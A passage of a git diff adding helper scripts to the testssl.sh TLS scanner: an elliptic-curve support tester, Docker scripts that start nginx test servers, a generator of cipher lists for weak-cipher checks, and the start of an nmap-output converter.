naming_ext="$(uname).$(uname -m)" + local uname_arch="$(uname -m)" + local myarch_suffix="" + + [[ $uname_arch =~ 64 ]] && myarch_suffix=64 || myarch_suffix=32 + if [[ -f "$1/openssl" ]] && [[ -x "$1/openssl" ]]; then + OPENSSL="$1/openssl" + return 0 + elif [[ -f "$1/openssl.$naming_ext" ]] && [[ -x "$1/openssl.$naming_ext" ]]; then + OPENSSL="$1/openssl.$naming_ext" + return 0 + fi + return 1 +} + + +find_openssl_binary() { + # 0. check environment variable whether it's executable + if [[ -n "$OPENSSL" ]] && [[ ! -x "$OPENSSL" ]]; then + pr_warningln "\ncannot find specified (\$OPENSSL=$OPENSSL) binary." + outln " Looking some place else ..." + elif [[ -x "$OPENSSL" ]]; then + : # 1. all ok supplied $OPENSSL was found and has executable bit set -- testrun comes below + elif test_openssl_suffix $RUN_DIR; then + : # 2. otherwise try openssl in path of testssl.sh + elif test_openssl_suffix ../$RUN_DIR; then + : # 2. otherwise try openssl in path of testssl.sh + elif test_openssl_suffix ../$RUN_DIR/bin; then + : # 3. otherwise here, this is supposed to be the standard --platform independent path in the future!!! + elif test_openssl_suffix "$(dirname "$(command -v openssl)")"; then + : # 5. we tried hard and failed, so now we use the system binaries + fi + + # no ERRFILE initialized yet, thus we use /dev/null for stderr directly + $OPENSSL version -a 2>/dev/null >/dev/null + if [[ $? -ne 0 ]] || [[ ! -x "$OPENSSL" ]]; then + echo "\ncannot exec or find any openssl binary" + exit 1 + fi + echo + echo "using $OPENSSL" + echo +} + + +VERBOSE=false +if [[ $1 == "-v" ]]; then + VERBOSE=true + shift +fi + +HN="$1" +[ -z "$HN" ] && HN=testssl.sh +find_openssl_binary + +ERRFILE=$(mktemp /tmp/curve_tester.R.XXXXXX) || exit 6 +TMPFILE=$(mktemp /tmp/curve_tester.T.XXXXXX) || exit 6 + + +for curve in $($OPENSSL ecparam -list_curves | awk -F':' '/:/ { print $1 }'); do + #if bin/openssl.Linux.x86_64 s_client -curves $curve -connect $HN:443 -servername $HN </dev/null 2>/dev/null | grep -q "BEGIN CERTIFICATE" ; then + # echo 'YES' + #else + # echo '--' + #fi + $OPENSSL s_client -cipher ECDH -curves $curve -connect $HN:443 -servername $HN </dev/null 2>$ERRFILE | grep "Server Temp Key:" >$TMPFILE + if [[ $? -eq 0 ]]; then + printf "$curve: " + cat $TMPFILE | sed 's/^.*Server Temp Key: //' + else + if grep -q 'Error with' $ERRFILE; then + if "$VERBOSE"; then + echo "$curve: no client support" + fi + else + echo "$curve: --" + fi + fi +done + +rm -f $ERRFILE $TMPFILE + +# vim:ts=5:sw=5:expandtab +# $Id: curves.bash,v 1.3 2016/07/09 12:22:13 dirkw Exp $ + diff --git a/utils/docker-debian10.tls13only.start.sh b/utils/docker-debian10.tls13only.start.sh new file mode 100755 index 0000000..2d0e9f1 --- /dev/null +++ b/utils/docker-debian10.tls13only.start.sh @@ -0,0 +1,33 @@ +#!/usr/bin/env bash + +# no early data, but TLS 1.3 with debian:buster (sid similar in Feb 2019) + +image=${1:-"debian:buster"} +docker pull "$image" +ID=$(docker run -d -ti $image) + +[[ -z "$ID" ]] && echo "container couldn't be retrieved" >&2 && exit 1 + +docker exec -ti $ID apt-get update +docker exec -ti $ID apt-get install -y ssl-cert dialog +docker exec -ti $ID apt-get install -y nginx-common nginx-light +docker exec -ti $ID cp /etc/nginx/sites-available/default /etc/nginx/sites-available/default.bak +docker exec -ti $ID sed -i -e 's/# listen/listen/' -e 's/# include/include/' /etc/nginx/sites-available/default +if echo "$0" | grep -q only; then + docker exec -ti $ID sed -i -e 's/listen \[::\]:443 ssl default_server;/&\n\tssl_protocols TLSv1\.3;\n\tssl_ecdh_curve X448:X25519;/' /etc/nginx/sites-available/default +else + docker exec -ti $ID sed -i -e 's/listen \[::\]:443 ssl default_server;/&\n\tssl_protocols TLSv1\.2 TLSv1\.3;\n\tssl_ecdh_curve X448:X25519;/' /etc/nginx/sites-available/default +fi + +docker exec -ti $ID nginx -V +docker exec -ti $ID service nginx start +docker exec -ti $ID service nginx status +# P Q + +echo +echo "You may now run \"testssl.sh $(docker inspect $ID --format '{{.NetworkSettings.IPAddress}}')\"" + +exit 0 + + +# vim:ts=5:sw=5:expandtab diff --git a/utils/docker-nginx.tls13-earlydata.start.sh b/utils/docker-nginx.tls13-earlydata.start.sh new file mode 100755 index 0000000..8bc8f9b --- /dev/null +++ b/utils/docker-nginx.tls13-earlydata.start.sh @@ -0,0 +1,56 @@ +#!/usr/bin/env bash + +image="rsnow/nginx" +docker pull $image +ID=$(docker run -d -ti $image) + +echo $ID + +[[ -z "$ID" ]] && echo "container couldn't be retrieved" >&2 && exit 1 + +docker exec -ti $ID nginx -V +docker exec -ti $ID mkdir /etc/nginx/ssl +HN=$(docker exec -ti $ID hostname| tr -d '\n' | tr -d '\r') + +cd /tmp +cat >$ID.conf << EOF + +server { + listen 443 ssl default_server; + listen [::]:443 ssl default_server; + server_name _; + + ssl_protocols TLSv1.2 TLSv1.3; + ssl_early_data on; + # + ssl_certificate /etc/nginx/ssl/$HN.crt; + ssl_certificate_key /etc/nginx/ssl/$HN.key; + + location / { + root /usr/share/nginx/html; + index index.html index.htm; + } + error_page 500 502 503 504 /50x.html; + location = /50x.html { + root /usr/share/nginx/html; + } +} +EOF + +docker cp $ID.conf $ID:/etc/nginx/conf.d/443.conf + +C_ST_etc="C=DE/ST=Gotham/L=Nowhere/CN=${HN}" +openssl req -subj "/${C_ST_etc}/CN=${HN}" -newkey rsa:4096 -keyout "$HN.key" -nodes -sha256 -out "$HN.req" +openssl x509 -days 365 -in "$HN.req" -req -signkey "$HN.key" -out "$HN.crt" +docker cp $HN.key $ID:/etc/nginx/ssl +docker cp $HN.crt $ID:/etc/nginx/ssl + +docker exec -ti $ID nginx -s reload +# docker start $ID + +echo +echo "You may now run \"testssl.sh $(docker inspect $ID --format '{{.NetworkSettings.IPAddress}}')\"" + +exit 0 + +# vim:ts=5:sw=5:expandtab diff --git a/utils/generate_static_cipher_lists.sh b/utils/generate_static_cipher_lists.sh new file mode 100755 index 0000000..85d747c --- /dev/null +++ b/utils/generate_static_cipher_lists.sh @@ -0,0 +1,372 @@ +#!/usr/bin/env bash +# +# vim:ts=5:sw=5:expandtab +# we have a spaces softtab, that ensures readability with other editors too + +[ -z "$BASH_VERSINFO" ] && printf "\n\033[1;35m Please make sure you're using \"bash\"! Bye...\033[m\n\n" >&2 && exit 245 +[ $(kill -l | grep -c SIG) -eq 0 ] && printf "\n\033[1;35m Please make sure you're calling me without leading \"sh\"! Bye...\033[m\n\n" >&2 && exit 245 + +# This shell script generates the various static cipher lists that are used in testssl.sh. +# It should be re-run whenever new ciphers are added to cipher-mapping.txt to determine +# whether any of the variables in testssl.sh containing cipher lists need to be updated. + +# debugging help: +readonly PS4='${LINENO}> ${FUNCNAME[0]:+${FUNCNAME[0]}(): }' + +COLOR=${COLOR:-2} # 2: Full color, 1: b/w+positioning, 0: no ESC at all +readonly RUN_DIR=$(dirname "$0") +TESTSSL_INSTALL_DIR="${TESTSSL_INSTALL_DIR:-""}" # if you run testssl.sh from a different path you can set either TESTSSL_INSTALL_DIR +CIPHERS_BY_STRENGTH_FILE="" + +###### Cipher suite information ##### +declare -i TLS_NR_CIPHERS=0 +declare TLS_CIPHER_HEXCODE=() +declare TLS_CIPHER_OSSL_NAME=() +declare TLS_CIPHER_RFC_NAME=() +declare TLS_CIPHER_SSLVERS=() +declare TLS_CIPHER_KX=() +declare TLS_CIPHER_AUTH=() +declare TLS_CIPHER_ENC=() +declare TLS_CIPHER_EXPORT=() + +###### output functions ###### +# a little bit of sanitzing with bash internal search&replace -- otherwise printf will hiccup at '%' and '--' does the rest. +out(){ +# if [[ "$BASH_VERSINFO" -eq 4 ]]; then + printf -- "%b" "${1//%/%%}" +# else +# /usr/bin/printf -- "${1//%/%%}" +# fi +} +outln() { out "$1\n"; } +pr_off() { [[ "$COLOR" -ne 0 ]] && out "\033[m"; } +pr_underline() { [[ "$COLOR" -ne 0 ]] && out "\033[4m$1" || out "$1"; pr_off; } + +if [[ $(uname) == "Linux" ]] ; then + toupper() { echo -n "${1^^}" ; } + tolower() { echo -n "${1,,}" ; } +else + toupper() { echo -n "$1" | tr 'a-z' 'A-Z'; } + tolower() { echo -n "$1" | tr 'A-Z' 'a-z' ; } +fi + +# try very hard to determine the install path to get ahold of the mapping file. +# TESTSSL_INSTALL_DIR can be supplied via environment so that the cipher mapping and CA bundles can be found +# www.carbonwind.net/TLS_Cipher_Suites_Project/tls_ssl_cipher_suites_simple_table_all.htm +get_mapping_file() { + local mac + + [[ -z "$TESTSSL_INSTALL_DIR" ]] && TESTSSL_INSTALL_DIR="$(dirname ${BASH_SOURCE[0]})" + + [[ -r "$RUN_DIR/etc/cipher-mapping.txt" ]] && CIPHERS_BY_STRENGTH_FILE="$RUN_DIR/etc/cipher-mapping.txt" + [[ -r "$RUN_DIR/../etc/cipher-mapping.txt" ]] && CIPHERS_BY_STRENGTH_FILE="$RUN_DIR/../etc/cipher-mapping.txt" + [[ -r "$TESTSSL_INSTALL_DIR/etc/cipher-mapping.txt" ]] && CIPHERS_BY_STRENGTH_FILE="$TESTSSL_INSTALL_DIR/etc/cipher-mapping.txt" + if [[ ! -r "$CIPHERS_BY_STRENGTH_FILE" ]]; then + [[ -r "$RUN_DIR/cipher-mapping.txt" ]] && CIPHERS_BY_STRENGTH_FILE="$RUN_DIR/cipher-mapping.txt" + [[ -r "$TESTSSL_INSTALL_DIR/cipher-mapping.txt" ]] && CIPHERS_BY_STRENGTH_FILE="$TESTSSL_INSTALL_DIR/cipher-mapping.txt" + fi + + # we haven't found the cipher file yet... + if [[ ! -r "$CIPHERS_BY_STRENGTH_FILE" ]] && command -v readlink &>/dev/null ; then + readlink -f ls &>/dev/null && \ + TESTSSL_INSTALL_DIR=$(readlink -f $(basename ${BASH_SOURCE[0]})) || \ + TESTSSL_INSTALL_DIR=$(readlink $(basename ${BASH_SOURCE[0]})) + # not sure whether Darwin has -f + TESTSSL_INSTALL_DIR=$(dirname $TESTSSL_INSTALL_DIR 2>/dev/null) + [[ -r "$TESTSSL_INSTALL_DIR/cipher-mapping.txt" ]] && CIPHERS_BY_STRENGTH_FILE="$TESTSSL_INSTALL_DIR/cipher-mapping.txt" + [[ -r "$TESTSSL_INSTALL_DIR/etc/cipher-mapping.txt" ]] && CIPHERS_BY_STRENGTH_FILE="$TESTSSL_INSTALL_DIR/etc/cipher-mapping.txt" + fi + + # still no cipher mapping file: + if [[ ! -r "$CIPHERS_BY_STRENGTH_FILE" ]] && command -v realpath &>/dev/null ; then + TESTSSL_INSTALL_DIR=$(dirname $(realpath ${BASH_SOURCE[0]})) + CIPHERS_BY_STRENGTH_FILE="$TESTSSL_INSTALL_DIR/etc/cipher-mapping.txt" + [[ -r "$TESTSSL_INSTALL_DIR/cipher-mapping.txt" ]] && CIPHERS_BY_STRENGTH_FILE="$TESTSSL_INSTALL_DIR/cipher-mapping.txt" + fi + + # still no cipher mapping file (and realpath is not present): + if [[ ! -r "$CIPHERS_BY_STRENGTH_FILE" ]] && command -v readlink &>/dev/null ; then + readlink -f ls &>/dev/null && \ + TESTSSL_INSTALL_DIR=$(dirname $(readlink -f ${BASH_SOURCE[0]})) || \ + TESTSSL_INSTALL_DIR=$(dirname $(readlink ${BASH_SOURCE[0]})) + # not sure whether Darwin has -f + CIPHERS_BY_STRENGTH_FILE="$TESTSSL_INSTALL_DIR/etc/cipher-mapping.txt" + [[ -r "$TESTSSL_INSTALL_DIR/cipher-mapping.txt" ]] && CIPHERS_BY_STRENGTH_FILE="$TESTSSL_INSTALL_DIR/cipher-mapping.txt" + fi + + if [[ ! -r "$CIPHERS_BY_STRENGTH_FILE" ]] ; then + outln "\nATTENTION: No cipher mapping file found!" + exit 2 + fi + + while read TLS_CIPHER_HEXCODE[TLS_NR_CIPHERS] n TLS_CIPHER_OSSL_NAME[TLS_NR_CIPHERS] TLS_CIPHER_RFC_NAME[TLS_NR_CIPHERS] TLS_CIPHER_SSLVERS[TLS_NR_CIPHERS] TLS_CIPHER_KX[TLS_NR_CIPHERS] TLS_CIPHER_AUTH[TLS_NR_CIPHERS] TLS_CIPHER_ENC[TLS_NR_CIPHERS] mac TLS_CIPHER_EXPORT[TLS_NR_CIPHERS]; do + TLS_NR_CIPHERS+=1 + done < $CIPHERS_BY_STRENGTH_FILE +} + +get_robust_pfs_ciphers() { + local -i i + local pfs_cipher hexc pfs_cipher_list="" pfs_hex_cipher_list="" + + for (( i=0; i < TLS_NR_CIPHERS; i++ )); do + pfs_cipher="${TLS_CIPHER_RFC_NAME[i]}" + if ( [[ "$pfs_cipher" == "TLS_DHE_"* ]] || [[ "$pfs_cipher" == "TLS_ECDHE_"* ]] ) && \ + [[ ! "$pfs_cipher" =~ "NULL" ]] && [[ ! "$pfs_cipher" =~ "DES" ]] && [[ ! "$pfs_cipher" =~ "RC4" ]] && \ + [[ ! "$pfs_cipher" =~ "PSK" ]]; then + hexc="${TLS_CIPHER_HEXCODE[i]}" + pfs_hex_cipher_list+=", ${hexc:2:2},${hexc:7:2}" + [[ "${TLS_CIPHER_OSSL_NAME[i]}" != "-" ]] && pfs_cipher_list+=":${TLS_CIPHER_OSSL_NAME[i]}" + fi + done + outln ; pr_underline "Robust PFS Cipher Lists for SSLv3 - TLSv1.2" ; outln + echo "ROBUST_PFS_CIPHERS=\"${pfs_cipher_list:1}\"" + echo "ROBUST_PFS_CIPHERS_HEX=\"$(tolower "${pfs_hex_cipher_list:2}")\"" +} + +get_std_cipherlists() { + local hexc hexcode strength + local -i i + local null_ciphers="" anon_ciphers="" adh_ciphers="" exp40_ciphers="" + local exp56_ciphers="" exp_ciphers="" low_ciphers="" des_ciphers="" + local medium_ciphers="" tdes_ciphers="" high_ciphers="" + local sslv2_null_ciphers="" sslv2_anon_ciphers="" sslv2_adh_ciphers="" sslv2_exp40_ciphers="" + local sslv2_exp56_ciphers="" sslv2_exp_ciphers="" sslv2_low_ciphers="" sslv2_des_ciphers="" + local sslv2_medium_ciphers="" sslv2_tdes_ciphers="" sslv2_high_ciphers="" + local using_sockets=true + + for (( i=0; i < TLS_NR_CIPHERS; i++ )); do + hexc="${TLS_CIPHER_HEXCODE[i]}" + strength="${TLS_CIPHER_ENC[i]}" + strength="${strength//\)/}" + strength="${strength#*\(}" + + if [[ ${#hexc} -eq 9 ]]; then + hexcode="${hexc:2:2},${hexc:7:2}" + [[ "${TLS_CIPHER_ENC[i]}" == "Enc=None" ]] && \ + null_ciphers+=", $hexcode" + [[ "${TLS_CIPHER_AUTH[i]}" == "Au=None" ]] && \ + anon_ciphers+=", $hexcode" + [[ "${TLS_CIPHER_RFC_NAME[i]}" =~ "TLS_DH_anon_" ]] && \ + adh_ciphers+=", $hexcode" + [[ $strength -eq 40 ]] && exp40_ciphers+=", $hexcode" +# [[ $strength -eq 56 ]] && exp56_ciphers+=", $hexcode" + [[ $strength -eq 56 ]] && \ + [[ "${TLS_CIPHER_EXPORT[i]}" == "export" ]] && \ + exp56_ciphers+=", $hexcode" + [[ "${TLS_CIPHER_EXPORT[i]}" == "export" ]] && \ + exp_ciphers+=", $hexcode" + if [[ "${TLS_CIPHER_AUTH[i]}" != "Au=None" ]]; then +# [[ $strength -le 64 ]] && low_ciphers+=", $hexcode" + [[ "${TLS_CIPHER_ENC[i]}" != "Enc=None" ]] && \ + [[ $strength -le 64 ]] && \ + [[ "${TLS_CIPHER_EXPORT[i]}" != "export" ]] && \ + low_ciphers+=", $hexcode" + [[ "${TLS_CIPHER_ENC[i]}" == "Enc=DES(56)" ]] && \ + [[ "${TLS_CIPHER_EXPORT[i]}" != "export" ]] && \ + des_ciphers+=", $hexcode" + [[ "${TLS_CIPHER_ENC[i]}" == "Enc=SEED(128)" ]] && \ + medium_ciphers+=", $hexcode" + [[ "${TLS_CIPHER_ENC[i]}" == "Enc=RC4(128)" ]] && \ + medium_ciphers+=", $hexcode" + [[ "${TLS_CIPHER_ENC[i]}" == "Enc=IDEA(128)" ]] && \ + medium_ciphers+=", $hexcode" + [[ "${TLS_CIPHER_ENC[i]}" == "Enc=3DES(168)" ]] && \ + tdes_ciphers+=", $hexcode" + [[ "${TLS_CIPHER_ENC[i]}" == "Enc=AES"* ]] && \ + high_ciphers+=", $hexcode" + [[ "${TLS_CIPHER_ENC[i]}" == "Enc=Camellia"* ]] && \ + high_ciphers+=", $hexcode" + [[ "${TLS_CIPHER_ENC[i]}" == "Enc=ChaCha20"* ]] && \ + high_ciphers+=", $hexcode" + [[ "${TLS_CIPHER_ENC[i]}" == "Enc=GOST"* ]] && \ + high_ciphers+=", $hexcode" + [[ "${TLS_CIPHER_ENC[i]}" == "Enc=ARIA"* ]] && \ + high_ciphers+=", $hexcode" + fi + else + hexcode="${hexc:2:2},${hexc:7:2},${hexc:12:2}" + [[ $strength -eq 40 ]] && sslv2_exp40_ciphers+=", $hexcode" +# [[ $strength -eq 56 ]] && sslv2_exp56_ciphers+=", $hexcode" + [[ "${TLS_CIPHER_EXPORT[i]}" == "export" ]] && \ + sslv2_exp_ciphers+=", $hexcode" +# [[ $strength -le 64 ]] && sslv2_low_ciphers+=", $hexcode" + [[ $strength -le 64 ]] && \ + [[ "${TLS_CIPHER_EXPORT[i]}" != "export" ]] && \ + sslv2_low_ciphers+=", $hexcode" + [[ "${TLS_CIPHER_ENC[i]}" == "Enc=DES(56)" ]] && \ + sslv2_des_ciphers+=", $hexcode" + [[ "${TLS_CIPHER_ENC[i]}" == "Enc=3DES(168)" ]] && \ + sslv2_tdes_ciphers+=", $hexcode" + fi + done + [[ -n "$null_ciphers" ]] && null_ciphers="${null_ciphers:2}, 00,ff" + [[ -n "$anon_ciphers" ]] && anon_ciphers="${anon_ciphers:2}, 00,ff" + [[ -n "$adh_ciphers" ]] && adh_ciphers="${adh_ciphers:2}, 00,ff" + [[ -n "$exp40_ciphers" ]] && exp40_ciphers="${exp40_ciphers:2}, 00,ff" + [[ -n "$exp56_ciphers" ]] && exp56_ciphers="${exp56_ciphers:2}, 00,ff" + [[ -n "$exp_ciphers" ]] && exp_ciphers="${exp_ciphers:2}, 00,ff" + [[ -n "$low_ciphers" ]] && low_ciphers="${low_ciphers:2}, 00,ff" + [[ -n "$des_ciphers" ]] && des_ciphers="${des_ciphers:2}, 00,ff" + [[ -n "$medium_ciphers" ]] && medium_ciphers="${medium_ciphers:2}, 00,ff" + [[ -n "$tdes_ciphers" ]] && tdes_ciphers="${tdes_ciphers:2}, 00,ff" + [[ -n "$high_ciphers" ]] && high_ciphers="${high_ciphers:2}, 00,ff" + [[ -n "$sslv2_null_ciphers" ]] && sslv2_null_ciphers="${sslv2_null_ciphers:2}" + [[ -n "$sslv2_anon_ciphers" ]] && sslv2_anon_ciphers="${sslv2_anon_ciphers:2}" + [[ -n "$sslv2_adh_ciphers" ]] && sslv2_adh_ciphers="${sslv2_adh_ciphers:2}" + [[ -n "$sslv2_exp40_ciphers" ]] && sslv2_exp40_ciphers="${sslv2_exp40_ciphers:2}" + [[ -n "$sslv2_exp56_ciphers" ]] && sslv2_exp56_ciphers="${sslv2_exp56_ciphers:2}" + [[ -n "$sslv2_exp_ciphers" ]] && sslv2_exp_ciphers="${sslv2_exp_ciphers:2}" + [[ -n "$sslv2_low_ciphers" ]] && sslv2_low_ciphers="${sslv2_low_ciphers:2}" + [[ -n "$sslv2_des_ciphers" ]] && sslv2_des_ciphers="${sslv2_des_ciphers:2}" + [[ -n "$sslv2_medium_ciphers" ]] && sslv2_medium_ciphers="${sslv2_medium_ciphers:2}" + [[ -n "$sslv2_tdes_ciphers" ]] && sslv2_tdes_ciphers="${sslv2_tdes_ciphers:2}" + [[ -n "$sslv2_high_ciphers" ]] && sslv2_high_ciphers="${sslv2_high_ciphers:2}" + + outln ; pr_underline "Cipher lists for run_std_cipherlists()"; outln + outln "null_ciphers=\"$(tolower "$null_ciphers")\"" + outln "sslv2_null_ciphers=\"$(tolower "$sslv2_null_ciphers")\"" + outln "anon_ciphers=\"$(tolower "$anon_ciphers")\"" + outln "sslv2_anon_ciphers=\"$(tolower "$sslv2_anon_ciphers")\"" + outln "adh_ciphers=\"$(tolower "$adh_ciphers")\"" + outln "sslv2_adh_ciphers=\"$(tolower "$sslv2_adh_ciphers")\"" + outln exp40_ciphers"=\"$(tolower "$exp40_ciphers")\"" + outln "sslv2_exp40_ciphers=\"$(tolower "$sslv2_exp40_ciphers")\"" + outln "exp56_ciphers=\"$(tolower "$exp56_ciphers")\"" + outln "sslv2_exp56_ciphers=\"$(tolower "$sslv2_exp56_ciphers")\"" + outln "exp_ciphers=\"$(tolower "$exp_ciphers")\"" + outln "sslv2_exp_ciphers=\"$(tolower "$sslv2_exp_ciphers")\"" + outln "low_ciphers=\"$(tolower "$low_ciphers")\"" + outln "sslv2_low_ciphers=\"$(tolower "$sslv2_low_ciphers")\"" + outln "des_ciphers=\"$(tolower "$des_ciphers")\"" + outln "sslv2_des_ciphers=\"$(tolower "$sslv2_des_ciphers")\"" + outln "medium_ciphers=\"$(tolower "$medium_ciphers")\"" + outln "sslv2_medium_ciphers=\"$(tolower "$sslv2_medium_ciphers")\"" + outln "tdes_ciphers=\"$(tolower "$tdes_ciphers")\"" + outln "sslv2_tdes_ciphers=\"$(tolower "$sslv2_tdes_ciphers")\"" + outln "high_ciphers=\"$(tolower "$high_ciphers")\"" + outln "sslv2_high_ciphers=\"$(tolower "$sslv2_high_ciphers")\"" +} + +get_cbc_ciphers() { + local -i + local hexc cbc_cipher_list="" cbc_cipher_list_hex="" + + # Want to keep ciphers lists to under 128 ciphers. Since there are a number of CBC ciphers + # that do not currently have OpenSSL names, the ciphers with Null authentication can be + # included in the OpenSSL list, but need to be excluded from the hex list. + for (( i=0; i < TLS_NR_CIPHERS; i++ )); do + if [[ "${TLS_CIPHER_SSLVERS[i]}" != "SSLv2" ]] && [[ "${TLS_CIPHER_RFC_NAME[i]}" =~ CBC ]] && \ + [[ ! "${TLS_CIPHER_RFC_NAME[i]}" =~ PSK ]] && [[ ! "${TLS_CIPHER_RFC_NAME[i]}" =~ SRP ]] && \ + [[ ! "${TLS_CIPHER_RFC_NAME[i]}" =~ KRB5 ]]; then + hexc="${TLS_CIPHER_HEXCODE[i]}" + [[ "${TLS_CIPHER_AUTH[i]}" != "Au=None" ]] && cbc_cipher_list_hex+=", ${hexc:2:2},${hexc:7:2}" + [[ "${TLS_CIPHER_OSSL_NAME[i]}" != "-" ]] && cbc_cipher_list+=":${TLS_CIPHER_OSSL_NAME[i]}" + fi + done + + outln ; pr_underline "CBC Ciphers for determine_tls_extensions()"; outln + outln "cbc_cipher_list=\"${cbc_cipher_list:1}\"" + outln "cbc_cipher_list_hex=\"$(tolower "${cbc_cipher_list_hex:2}")\"" +} + + +get_all_cbc_ciphers() { + local -i + local hexc cbc_ciphers="" cbc_ciphers_hex="" + + for (( i=0; i < TLS_NR_CIPHERS; i++ )); do + if [[ "${TLS_CIPHER_SSLVERS[i]}" != "SSLv2" ]] && [[ "${TLS_CIPHER_RFC_NAME[i]}" =~ CBC ]]; then + hexc="${TLS_CIPHER_HEXCODE[i]}" + cbc_ciphers_hex+=", ${hexc:2:2},${hexc:7:2}" + [[ "${TLS_CIPHER_OSSL_NAME[i]}" != "-" ]] && cbc_ciphers+=":${TLS_CIPHER_OSSL_NAME[i]}" + fi + done + + outln ; pr_underline "CBC Ciphers for run_lucky13()"; outln + outln "cbc_ciphers=\"${cbc_ciphers:1}\"" + outln "cbc_ciphers_hex=\"$(tolower "${cbc_ciphers_hex:2}")\"" +} + + +get_sslv3_tls1_cbc_ciphers() { + local -i + local hexc cbc_ciphers="" cbc_ciphers_hex="" + + for (( i=0; i < TLS_NR_CIPHERS; i++ )); do + if [[ "${TLS_CIPHER_SSLVERS[i]}" != "SSLv2" ]] && [[ "${TLS_CIPHER_RFC_NAME[i]}" =~ CBC ]] && \ + [[ "${TLS_CIPHER_RFC_NAME[i]}" != *SHA256 ]] && [[ "${TLS_CIPHER_RFC_NAME[i]}" != *SHA384 ]]; then + hexc="${TLS_CIPHER_HEXCODE[i]}" + cbc_ciphers_hex+=", ${hexc:2:2},${hexc:7:2}" + [[ "${TLS_CIPHER_OSSL_NAME[i]}" != "-" ]] && cbc_ciphers+=":${TLS_CIPHER_OSSL_NAME[i]}" + fi + done + + outln ; pr_underline "SSLv3/TLSv1.0 CBC Ciphers for run_ssl_poodle() and run_beast()"; outln + outln "cbc_ciphers=\"${cbc_ciphers:1}\"" + outln "cbc_ciphers_hex=\"$(tolower "${cbc_ciphers_hex:2}")\"" +} + +get_export_rsa_ciphers() { + local -i i + local exportrsa_cipher_list="" exportrsa_tls_cipher_list_hex="" exportrsa_ssl2_cipher_list_hex="" + + for (( i=0; i < TLS_NR_CIPHERS; i++ )); do + if [[ "${TLS_CIPHER_EXPORT[i]}" == "export" ]] && \ + ( [[ "${TLS_CIPHER_KX[i]}" =~ RSA ]] || [[ "${TLS_CIPHER_AUTH[i]}" =~ RSA ]] ); then + hexc="${TLS_CIPHER_HEXCODE[i]}" + [[ "${TLS_CIPHER_SSLVERS[i]}" == "SSLv2" ]] && exportrsa_ssl2_cipher_list_hex+=", ${hexc:2:2},${hexc:7:2},${hexc:12:2}" + [[ "${TLS_CIPHER_SSLVERS[i]}" != "SSLv2" ]] && exportrsa_tls_cipher_list_hex+=", ${hexc:2:2},${hexc:7:2}" + [[ ! ":${exportrsa_cipher_list}:" =~ "${TLS_CIPHER_OSSL_NAME[i]}" ]] && exportrsa_cipher_list+=":${TLS_CIPHER_OSSL_NAME[i]}" + fi + done + + outln ; pr_underline "Export RSA ciphers for run_freak()"; outln + outln "exportrsa_cipher_list=\"${exportrsa_cipher_list:1}\"" + outln "exportrsa_tls_cipher_list_hex=\"${exportrsa_tls_cipher_list_hex:2}\"" + outln "exportrsa_ssl2_cipher_list_hex=\"${exportrsa_ssl2_cipher_list_hex:2}\"" +} + +get_weak_dh_ciphers() { + local -i + local hexc exportdh_cipher_list="" exportdh_cipher_list_hex="" + + for (( i=0; i < TLS_NR_CIPHERS; i++ )); do + if [[ "${TLS_CIPHER_RFC_NAME[i]}" == "TLS_DHE_"* ]] && [[ "${TLS_CIPHER_EXPORT[i]}" == "export" ]]; then + hexc="${TLS_CIPHER_HEXCODE[i]}" + [[ "${TLS_CIPHER_OSSL_NAME[i]}" != "-" ]] && exportdh_cipher_list+=":${TLS_CIPHER_OSSL_NAME[i]}" + exportdh_cipher_list_hex+=", ${hexc:2:2},${hexc:7:2}" + fi + done + + outln; pr_underline "Weak ephemeral DH ciphers for run_logjam()"; outln + outln "exportdh_cipher_list=\"${exportdh_cipher_list:1}\"" + outln "exportdh_cipher_list_hex=\"${exportdh_cipher_list_hex:2}\"" +} + +get_dhe_ciphers() { + local -i + local hexc all_dh_ciphers="" + + for (( i=0; i < TLS_NR_CIPHERS; i++ )); do + if [[ "${TLS_CIPHER_RFC_NAME[i]}" == "TLS_DHE_"* ]] || [[ "${TLS_CIPHER_RFC_NAME[i]}" == "TLS_DH_anon_"* ]]; then + hexc="${TLS_CIPHER_HEXCODE[i]}" + all_dh_ciphers+=", ${hexc:2:2},${hexc:7:2}" + fi + done + + outln; pr_underline "All ephemeral DH ciphers for run_logjam()"; outln + outln "all_dh_ciphers=\"$(tolower "${all_dh_ciphers:2}")\"" +} + +get_mapping_file +get_robust_pfs_ciphers +get_std_cipherlists +get_all_cbc_ciphers +get_cbc_ciphers +get_sslv3_tls1_cbc_ciphers +get_export_rsa_ciphers +get_weak_dh_ciphers +get_dhe_ciphers +outln + +exit $? diff --git a/utils/gmap2testssl.sh b/utils/gmap2testssl.sh new file mode 100755 index 0000000..3962407 --- /dev/null +++ b/utils/gmap2testssl.sh @@ -0,0 +1,168 @@ +#!/usr/bin/env bash + +# Utility which converts grepable nmap output to testssl's file input +# It is just borrowed from testssl.sh +# License see testssl.sh + + +echo A | sed -E 's/A//' >/dev/null 2>&1 && \ +declare -r HAS_SED_E=true || \ +declare -r HAS_SED_E=false + +usage() { + cat << EOF + +usage: + + "$0 <filename>": looks for <filename> (nmap gmap format) and converts into basename \$(filename)-testssl.txt" + +EOF + exit 0 +} + +fatal () { + echo "$1" >&2 + exit $2 +} + +is_ipv4addr() { + local octet="(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9]?[0-9])" + local ipv4address="$octet\\.$octet\\.$octet\\.$octet" + + [[ -z "$1" ]] && return 1 + + # Check that $1 contains an IPv4 address and nothing else + [[ "$1" =~ $ipv4address ]] && [[ "$1" == $BASH_REMATCH ]] && \ + return 0 || \ + return 1 +} + +filter_ip4_address() { + local a + + for a in "$@"; do + if ! is_ipv4addr "$a"; then + continue + fi + if "$HAS_SED_E"; then + sed -E 's/[^[:digit:].]//g' <<< "$a" | sed -e '/^$/d' + else + sed -r 's/[^[:digit:].]//g' <<< "$a" | sed -e '/^$/d' + fi + done +} + +# arg1: a host name. Returned will be 0-n IPv4 addresses +# watch out: $1 can also be a cname! --> all checked +get_a_record() { + local ip4="" + local noidnout="" + + ip4=$(filter_ip4_address $(dig -r +short +timeout=2 +tries=2 -t a "$1" 2>/dev/null | awk '/^[0-9]/ { print $1 }')) + if [[ -z "$ip4" ]]; then + ip4=$(filter_ip4_address $(host -t a "$1" 2>/dev/null | awk '/address/ { print $NF }')) + fi + if [[ -z "$ip4" ]]; then + ip4=$(filter_ip4_address $(drill a "$1" | awk '/ANSWER SECTION/,/AUTHORITY SECTION/ { print $NF }' | awk '/^[0-9]/')) + fi + echo "$ip4" +} + +ports2starttls() { + local tcp_port=$1 + local ret=0 + + # https://en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers + case 